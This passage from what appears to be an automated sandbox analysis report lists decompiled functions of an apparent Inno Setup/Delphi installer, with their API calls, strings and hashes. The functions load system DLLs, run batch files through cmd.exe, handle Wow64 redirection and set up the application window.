					E004035DC( &_v8, "shfolder.dll");
				}
				E0042E250("shell32.dll", _t69, 0x8000); // executed
				_t46 = E0042E250(_v8, _t69, 0x8000); // executed
				 *0x4ae304 = _t46;
				if( *0x4ae304 == 0) {
					_v36 = _v8;
					_v32 = 0xb;
					E00407988("Failed to load DLL \"%s\"", 0,  &_v36,  &_v28);
					E00451DE8(_v28, _t69, _t85, _t86, 0);
				}
				_push("SHGetFolderPathA");
				_t47 =  *0x4ae304; // 0x72f80000
				_push(_t47);
				L00405A9C();
				_t70 = _t47;
				 *0x4ae308 = _t70;
				_t101 = _t70;
				if(_t70 == 0) {
					E00451DE8("Failed to get address of SHGetFolderPathA function", _t70, _t85, _t86, _t101);
				}
				_pop(_t82);
				 *[fs:eax] = _t82;
				_push(E00472552);
				E00403548( &_v28);
				return E00403548( &_v8);
			}

0x00472410
0x00472410
0x00472410
0x00472410
0x00472416
0x00472417
0x00472418
0x0047241b
0x0047241e
0x00472423
0x00472424
0x00472429
0x0047242c
0x00472432
0x00472437
0x00472447
0x00472454
0x0047245f
0x00472464
0x00472466
0x0047246d
0x0047246d
0x00472481
0x004724a1
0x00000000
0x00000000
0x004724ab
0x004724ab
0x004724b3
0x004724b3
0x004724c2
0x004724cf
0x004724d4
0x004724e0
0x004724e9
0x004724ec
0x004724fa
0x00472502
0x00472502
0x00472507
0x0047250c
0x00472511
0x00472512
0x00472517
0x00472519
0x0047251f
0x00472521
0x00472528
0x00472528
0x0047252f
0x00472532
0x00472535
0x0047253d
0x0047254a

APIs

6C8D5550.KERNEL32(72F80000,SHGetFolderPathA,00000000,0047254B), ref: 00472512

Strings

shell32.dll, xrefs: 004724BD
SHGetFolderPathA, xrefs: 00472507
_isetup\_shfoldr.dll, xrefs: 00472442
shfolder.dll, xrefs: 00472475, 004724AE
SHFOLDERDLL, xrefs: 0047244F
Failed to load DLL "%s", xrefs: 004724F5
Failed to get version numbers of _shfoldr.dll, xrefs: 00472468
Failed to get address of SHGetFolderPathA function, xrefs: 00472523

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550
String ID: Failed to get address of SHGetFolderPathA function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
API String ID: 183293030-1072092678
Opcode ID: 507d2e34d75453d9ba4edf67155abcdbb15b4d83a88131d6658f2487126d67d1
Instruction ID: df0b9b8973acef26d11fc0e839acdfe1f99da3c95b5516bf9a2c59f45464ce8d
Opcode Fuzzy Hash: 507d2e34d75453d9ba4edf67155abcdbb15b4d83a88131d6658f2487126d67d1
Instruction Fuzzy Hash: 89313E70A00109AFDB10EFE5CAD19DEB7B4EB45304F50C86AE418E7351D7B8AE458B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00453748 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00453748(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr* _a4, short _a12, char _a24) {
				char _v5;
				char _v12;
				char _v20;
				short _v40;
				intOrPtr _v44;
				char _v88;
				char _v104;
				char _v108;
				char _v112;
				signed int _t70;
				void* _t101;
				intOrPtr _t116;
				intOrPtr _t118;
				void* _t130;
				char _t131;
				void* _t133;
				void* _t134;
				intOrPtr _t135;

				_t102 = __ecx;
				_t133 = _t134;
				_t135 = _t134 + 0xffffff94;
				_v108 = 0;
				_v112 = 0;
				_v12 = 0;
				_t130 = __edx;
				_t101 = __eax;
				E00403870(_a24);
				_push(_t133);
				_push(0x4539ac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t135;
				_push(0x4539c8);
				_push(_t130);
				_push(0x4539c8);
				E0040377C();
				_t136 = __ecx;
				if(__ecx != 0) {
					_push(_v12);
					_push(0x4539d4);
					_push(__ecx);
					E0040377C();
				}
				E0042C914(_t130, _t102,  &_v108, _t136);
				_t54 = E00406B20(_v108, 0x4539e0);
				_t137 = _t54;
				if(_t54 == 0) {
					L4:
					if(E0042DAA4(_t54) == 0) {
						_push(0x4539c8);
						E0042D7E0( &_v112);
						E0042C4C4(_v112,  &_v108);
						_push(_v108);
						_push("COMMAND.COM\" /C ");
						_push(_v12);
						E0040377C();
					} else {
						_push(0x4539c8);
						E0042D80C( &_v112);
						E0042C4C4(_v112,  &_v108);
						_push(_v108);
						_push("cmd.exe\" /C \"");
						_push(_v12);
						_push(0x4539c8);
						E0040377C();
					}
				} else {
					E0042C914(_t130, _t102,  &_v108, _t137);
					if(E00406B20(_v108, 0x4539f0) == 0) {
						goto L4;
					}
				}
				if(_a24 == 0) {
					E0042C8BC(_t130, _t102,  &_a24);
				}
				E00402A64( &_v88, 0x44);
				_v88 = 0x44;
				_v44 = 1;
				_v40 = _a12;
				if(_a24 == 0) {
					_t131 = 0;
					__eflags = 0;
				} else {
					_t131 = E00403880(_a24);
				}
				if(E004512D8(_t101,  &_v20) != 0) {
					_push(_t133);
					_push(0x453924);
					_push( *[fs:eax]);
					 *[fs:eax] = _t135;
					_push( &_v104);
					_push( &_v88);
					_push(_t131);
					_push(0);
					_push(0x4000000);
					_push(0);
					_push(0);
					_push(0);
					_t70 = E00403880(_v12);
					_push(_t70);
					_push(0); // executed
					L0040597C(); // executed
					asm("sbb eax, eax");
					_v5 =  ~( ~_t70);
					__eflags = _v5;
					if(_v5 != 0) {
						__eflags = 0;
						_pop(_t116);
						 *[fs:eax] = _t116;
						_push(E0045392B);
						return E00451314( &_v20);
					} else {
						 *_a4 = GetLastError();
						E00403304();
						goto L17;
					}
				} else {
					 *_a4 = GetLastError();
					_v5 = 0;
					L17:
					_pop(_t118);
					 *[fs:eax] = _t118;
					_push(E004539B3);
					E00403568( &_v112, 2);
					E00403548( &_v12);
					return E00403548( &_a24);
				}
			}

0x00453748
0x00453749
0x0045374b
0x00453753
0x00453756
0x00453759
0x0045375e
0x00453760
0x00453765
0x0045376c
0x0045376d
0x00453772
0x00453775
0x00453778
0x0045377d
0x0045377e
0x0045378b
0x00453790
0x00453792
0x00453794
0x00453797
0x0045379c
0x004537a5
0x004537a5
0x004537af
0x004537bc
0x004537c1
0x004537c3
0x004537e0
0x004537e7
0x00453820
0x00453828
0x00453833
0x00453838
0x0045383b
0x00453840
0x0045384b
0x004537e9
0x004537e9
0x004537f1
0x004537fc
0x00453801
0x00453804
0x00453809
0x0045380c
0x00453819
0x00453819
0x004537c5
0x004537ca
0x004537de
0x00000000
0x00000000
0x004537de
0x00453854
0x0045385b
0x0045385b
0x0045386a
0x0045386f
0x00453876
0x00453881
0x00453889
0x00453897
0x00453897
0x0045388b
0x00453893
0x00453893
0x004538a5
0x004538bc
0x004538bd
0x004538c2
0x004538c5
0x004538cb
0x004538cf
0x004538d0
0x004538d1
0x004538d3
0x004538d8
0x004538da
0x004538dc
0x004538e1
0x004538e6
0x004538e7
0x004538e9
0x004538f0
0x004538f4
0x004538f7
0x004538fb
0x0045390e
0x00453910
0x00453913
0x00453916
0x00453923
0x004538fd
0x00453905
0x00453907
0x00000000
0x00453907
0x004538a7
0x004538af
0x004538b1
0x00453981
0x00453983
0x00453986
0x00453989
0x00453996
0x0045399e
0x004539ab
0x004539ab

APIs

GetLastError.KERNEL32(?,COMMAND.COM" /C ,?,004539C8,004539C8,?,004539C8,00000000,004539AC,?,?,?,00000001), ref: 004538A7

Part of subcall function 0042D7E0: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00452670,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000,00000000,?,0048AF5D), ref: 0042D7F3

6CBC7180.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,?,?,00000000,00453924,?,?,COMMAND.COM" /C ,?), ref: 004538E9
GetLastError.KERNEL32(00000000,00000000,00000000,00000000,00000000,04000000,00000000,00000000,?,?,00000000,00453924,?,?,COMMAND.COM" /C ,?), ref: 004538FD

Strings

COMMAND.COM" /C , xrefs: 0045383B
D, xrefs: 0045386F
cmd.exe" /C ", xrefs: 00453804
.cmd, xrefs: 004537D2
.bat, xrefs: 004537B7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLast$C7180DirectoryWindows
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 2780748709-615399546
Opcode ID: 33a27229c5421f9eb213ab82141ae6c2ed946a67f5f54968f9def354b9b6ad90
Instruction ID: 45a4ecfcdb078bc0f7abb9b0e49dfa18ec6bbc905d94cc9751c1a491fcbe52ad
Opcode Fuzzy Hash: 33a27229c5421f9eb213ab82141ae6c2ed946a67f5f54968f9def354b9b6ad90
Instruction Fuzzy Hash: 4C5149B1A043096BDB01EF95C841BDEBBB8DF48746F50846BFC04A7292D67C9B49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00451C94 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00451C94(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				struct HINSTANCE__* _t4;
				struct HINSTANCE__* _t5;
				char _t6;
				intOrPtr _t20;
				intOrPtr _t25;

				_t14 = __ebx;
				_push(0);
				_push(__ebx);
				_push(_t25);
				_push(0x451d2d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				_push("Wow64DisableWow64FsRedirection");
				_t4 = GetModuleHandleA("kernel32.dll");
				_push(_t4);
				L00405A9C();
				 *0x48ded8 = _t4;
				_push("Wow64RevertWow64FsRedirection");
				_t5 = GetModuleHandleA("kernel32.dll");
				_push(_t5);
				L00405A9C();
				 *0x48dedc = _t5;
				if( *0x48ded8 == 0 ||  *0x48dedc == 0) {
					_t6 = 0;
				} else {
					_t6 = 1;
				}
				 *0x48dee0 = _t6;
				E0042E250("shell32.dll", _t14, 0x8000); // executed
				E0042E6D0(0x4c783afb,  &_v8);
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(E00451D34);
				return E00403548( &_v8);
			}

0x00451c94
0x00451c97
0x00451c99
0x00451c9e
0x00451c9f
0x00451ca4
0x00451ca7
0x00451caa
0x00451cb4
0x00451cb9
0x00451cba
0x00451cbf
0x00451cc4
0x00451cce
0x00451cd3
0x00451cd4
0x00451cd9
0x00451ce5
0x00451cf0
0x00451cf4
0x00451cf4
0x00451cf4
0x00451cf6
0x00451d05
0x00451d12
0x00451d19
0x00451d1c
0x00451d1f
0x00451d2c

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CB4
6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CBA
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CCE
6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CD4

Strings

Wow64RevertWow64FsRedirection, xrefs: 00451CC4
shell32.dll, xrefs: 00451D00
Wow64DisableWow64FsRedirection, xrefs: 00451CAA
kernel32.dll, xrefs: 00451CAF, 00451CC9

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550HandleModule
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 920177481-2130885113
Opcode ID: b0dbd32f029cef76fb5d07cae0c51c53217107397ee6571f7debf362de99bad9
Instruction ID: c05cca7271ab2d20bbdb9796339364bf3a64628684ebd0e6fdc7bf04ba31f4de
Opcode Fuzzy Hash: b0dbd32f029cef76fb5d07cae0c51c53217107397ee6571f7debf362de99bad9
Instruction Fuzzy Hash: 87015E34641A44AED711AB669C52B6A3B78D714755F600C3BFC019A1A3DABD580C8E2D

Uniqueness

Uniqueness Score: -1.00%

Function 0042FE58 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0042FE58() {
				char _v4;
				long _v8;
				char _v12;
				char _v16;
				char _v48;
				char _t9;
				short _t13;

				 *0x48d670 = RegisterClipboardFormatA("commdlg_help");
				 *0x48d674 = RegisterClipboardFormatA("commdlg_FindReplace");
				_t9 =  *0x48d014; // 0x400000
				_v16 = _t9;
				_v12 = 0;
				_v8 = GetCurrentThreadId();
				_v4 = 0;
				_t13 = GlobalAddAtomA(E00407954( &_v48,  &_v16, "WndProcPtr%.8X%.8X", 1)); // executed
				 *0x48c7d8 = _t13;
				return _t13;
			}

0x0042fe65
0x0042fe74
0x0042fe7b
0x0042fe80
0x0042fe84
0x0042fe8e
0x0042fe92
0x0042feaa
0x0042feaf
0x0042feb8

APIs

RegisterClipboardFormatA.USER32 ref: 0042FE60
RegisterClipboardFormatA.USER32 ref: 0042FE6F
GetCurrentThreadId.KERNEL32 ref: 0042FE89
GlobalAddAtomA.KERNEL32 ref: 0042FEAA

Strings

WndProcPtr%.8X%.8X, xrefs: 0042FE9B
commdlg_help, xrefs: 0042FE5B
commdlg_FindReplace, xrefs: 0042FE6A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 003ea68ac1ad5bea44618dcb6fbfd8367869354155694a8be84db00a992ef707
Instruction ID: 26ec79deaeb706fa9e15f0cb387365e7e20004fa16731b1cb17c3df66d937657
Opcode Fuzzy Hash: 003ea68ac1ad5bea44618dcb6fbfd8367869354155694a8be84db00a992ef707
Instruction Fuzzy Hash: D4F089745183948AD700FB75D84271D77E0AB44708F800A7FF548A62F2E7789504CB2F

Uniqueness

Uniqueness Score: -1.00%

Function 00423754 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00423754(void* __ecx, char __edx, void* __edi) {
				char _v5;
				char _v261;
				void* __esi;
				void* __ebp;
				int _t29;
				struct HINSTANCE__* _t40;
				intOrPtr _t44;
				struct HINSTANCE__* _t46;
				void* _t52;
				char* _t54;
				int _t65;
				void* _t66;
				char _t68;
				void* _t78;
				void* _t80;
				void* _t81;

				_t78 = __edi;
				_t68 = __edx;
				_t66 = __ecx;
				if(__edx != 0) {
					_t81 = _t81 + 0xfffffff0;
					_t29 = E00402E78(_t29, _t80);
				}
				_v5 = _t68;
				_t65 = _t29;
				E004102E8(_t66, 0);
				 *((intOrPtr*)(_t65 + 0x70)) = E00402C78(1);
				 *((intOrPtr*)(_t65 + 0x80)) = E00402C78(1);
				 *((intOrPtr*)(_t65 + 0x40)) = 0;
				 *((intOrPtr*)(_t65 + 0x60)) = 0;
				 *((intOrPtr*)(_t65 + 0x3c)) = 0x80000018;
				 *((intOrPtr*)(_t65 + 0x54)) = 0x1f4;
				 *((intOrPtr*)(_t65 + 0x58)) = 0x32;
				 *((intOrPtr*)(_t65 + 0x5c)) = 0x9c4;
				 *((char*)(_t65 + 0x64)) = 0;
				 *((char*)(_t65 + 0x7d)) = 1;
				_t79 = E0041DADC(1);
				 *((intOrPtr*)(_t65 + 0x78)) = _t39;
				_t40 =  *0x48d014; // 0x400000
				E0041DE68(_t79, LoadIconA(_t40, "MAINICON"));
				_t13 = _t65 + 0x78; // 0xc23bc88b
				_t44 =  *_t13;
				 *((intOrPtr*)(_t44 + 8)) = _t65;
				 *((intOrPtr*)(_t44 + 4)) = 0x424b6c;
				_t46 =  *0x48d014; // 0x400000
				GetModuleFileNameA(_t46,  &_v261, 0x100);
				OemToCharA( &_v261,  &_v261);
				_t52 = E00407554( &_v261, 0x5c);
				if(_t52 != 0) {
					_t20 = _t52 + 1; // 0x1
					E004073BC( &_v261, _t20);
				}
				_t54 = E00407534( &_v261, 0x2e);
				if(_t54 != 0) {
					 *_t54 = 0;
				}
				CharLowerA( &(( &_v261)[1]));
				_t24 = _t65 + 0x6c; // 0x41eed8
				E004036A4(_t24, 0x100,  &_v261);
				if( *0x48d034 == 0) {
					E0042393C(_t65, _t78, _t79);
				}
				 *((char*)(_t65 + 0x39)) = 1;
				 *((char*)(_t65 + 0x3a)) = 1;
				if(_v5 != 0) {
					_pop( *[fs:0x0]);
				}
				return _t65;
			}

0x00423754
0x00423754
0x00423754
0x00423761
0x00423763
0x00423766
0x00423766
0x0042376b
0x0042376e
0x00423774
0x00423785
0x00423794
0x0042379c
0x004237a1
0x004237a4
0x004237ab
0x004237b2
0x004237b9
0x004237c0
0x004237c4
0x004237d4
0x004237d6
0x004237de
0x004237ed
0x004237f2
0x004237f2
0x004237f5
0x004237f8
0x0042380b
0x00423811
0x00423824
0x00423831
0x00423838
0x0042383a
0x00423843
0x00423843
0x00423850
0x00423857
0x00423859
0x00423859
0x00423864
0x00423869
0x00423877
0x00423883
0x00423887
0x00423887
0x0042388c
0x00423890
0x00423898
0x0042389a
0x004238a1
0x004238ab

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 004237E4
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,004190AE,00000000,?,?,00000001,00000000), ref: 00423811
OemToCharA.USER32(?,?), ref: 00423824
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,004190AE,00000000,?,?,00000001,00000000), ref: 00423864

Strings

MAINICON, xrefs: 004237D9
2, xrefs: 004237B2

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: f7a56db4cabb1daef0da93b146ca5530922bdfff8d5698d8e92f9da91eae2645
Instruction ID: 1f087940b372d7f1725fe83f28a731a6464074f4c0731806c41e3fd0f529a594
Opcode Fuzzy Hash: f7a56db4cabb1daef0da93b146ca5530922bdfff8d5698d8e92f9da91eae2645
Instruction Fuzzy Hash: B8319170A042449ADB10EF69C8C57C97BE8AF15308F4441BAE844DF393D7BED988CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00419000 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419000(void* __edi, void* __eflags) {
				char _v8;
				long _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v56;
				char _v60;
				short _t14;
				char _t15;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;

				_v24 = GetCurrentProcessId();
				_v20 = 0;
				_t14 = GlobalAddAtomA(E00407954( &_v56,  &_v24, "Delphi%.8X", 0)); // executed
				 *0x48d5c6 = _t14;
				_t15 =  *0x48d014; // 0x400000
				_v20 = _t15;
				_v16 = 0;
				_v12 = GetCurrentThreadId();
				_v8 = 0;
				 *0x48d5c8 = GlobalAddAtomA(E00407954( &_v60,  &_v20, "ControlOfs%.8X%.8X", 1));
				 *0x48d600 = E00402C78(1);
				_t22 =  *0x48d600; // 0x2160638
				E0040B680(_t22, 4);
				_t25 = E00423190(1); // executed
				 *0x48d62c = _t25;
				_t27 = E00423754(0, 1, __edi); // executed
				 *0x48d628 = _t27;
				E0041F1E0();
				_t29 =  *0x48d628; // 0x2162410
				E004249C8(_t29, 1);
				E00406A80(E00418FD0, 1);
				return E0040B064(0x412ae8, 0x413988, 0x4139bc);
			}

0x0041900a
0x0041900e
0x00419026
0x0041902b
0x00419033
0x00419038
0x0041903c
0x00419046
0x0041904a
0x00419067
0x00419079
0x00419083
0x00419088
0x00419096
0x0041909b
0x004190a9
0x004190ae
0x004190b3
0x004190ba
0x004190bf
0x004190c9
0x004190e5

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00419005
GlobalAddAtomA.KERNEL32 ref: 00419026
GetCurrentThreadId.KERNEL32 ref: 00419041
GlobalAddAtomA.KERNEL32 ref: 00419062

Part of subcall function 00423190: 740BAC50.USER32(00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001,00000000), ref: 004231E6
Part of subcall function 00423190: EnumFontsA.GDI32(00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001,00000000), ref: 004231F9
Part of subcall function 00423190: 740BAD70.GDI32(00000000,0000005A,00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001), ref: 00423201
Part of subcall function 00423190: 740BB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000), ref: 0042320C

Part of subcall function 00423754: LoadIconA.USER32(00400000,MAINICON), ref: 004237E4
Part of subcall function 00423754: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,004190AE,00000000,?,?,00000001,00000000), ref: 00423811
Part of subcall function 00423754: OemToCharA.USER32(?,?), ref: 00423824
Part of subcall function 00423754: CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,004190AE,00000000,?,?,00000001,00000000), ref: 00423864

Part of subcall function 0041F1E0: GetVersion.KERNEL32(?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F1EE
Part of subcall function 0041F1E0: SetErrorMode.KERNEL32(00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F20A
Part of subcall function 0041F1E0: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F216
Part of subcall function 0041F1E0: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F224
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dRegister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F254
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F27D
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F292
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F2A7
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001,00000000), ref: 0041F2BC
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000,?,?,00000001), ref: 0041F2D1
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8,00000000), ref: 0041F2E6
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,004190B8), ref: 0041F2FB
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister), ref: 0041F310
Part of subcall function 0041F1E0: 6C8D5550.KERNEL32(00000001,BtnWndProc3d,00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl), ref: 0041F325

Strings

Delphi%.8X, xrefs: 00419017
ControlOfs%.8X%.8X, xrefs: 00419053

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$AtomCharCurrentErrorGlobalLoadMode$B380EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 293255337-2767913252
Opcode ID: b7f9bbeb3c60c5cd610354d66e429f187f1188d2ad776fc62a728a79e0fe9ed2
Instruction ID: 43a8d0485271cdf29850ede6b3e0bb29e96d7f982bc1287e513e001800c06e39
Opcode Fuzzy Hash: b7f9bbeb3c60c5cd610354d66e429f187f1188d2ad776fc62a728a79e0fe9ed2
Instruction Fuzzy Hash: C711FE70A092809AC740FF7A988664E77D09B9830CF40893FF548BB3E1DB7999458B5E

Uniqueness

Uniqueness Score: -1.00%

Function 00413704 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00413704(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t19;
				void* _t20;
				struct HWND__* _t23;
				void* _t25;
				void* _t29;
				void* _t33;
				intOrPtr* _t41;

				_t41 =  &_v8;
				_t19 =  *0x48c2dc; // 0x0
				 *((intOrPtr*)(_t19 + 0xc0)) = _a4;
				_t20 =  *0x48c2dc; // 0x0
				_t23 = SetWindowLongA(_a4, 0xfffffffc,  *(_t20 + 0xa8));
				_push(0xfffffff0);
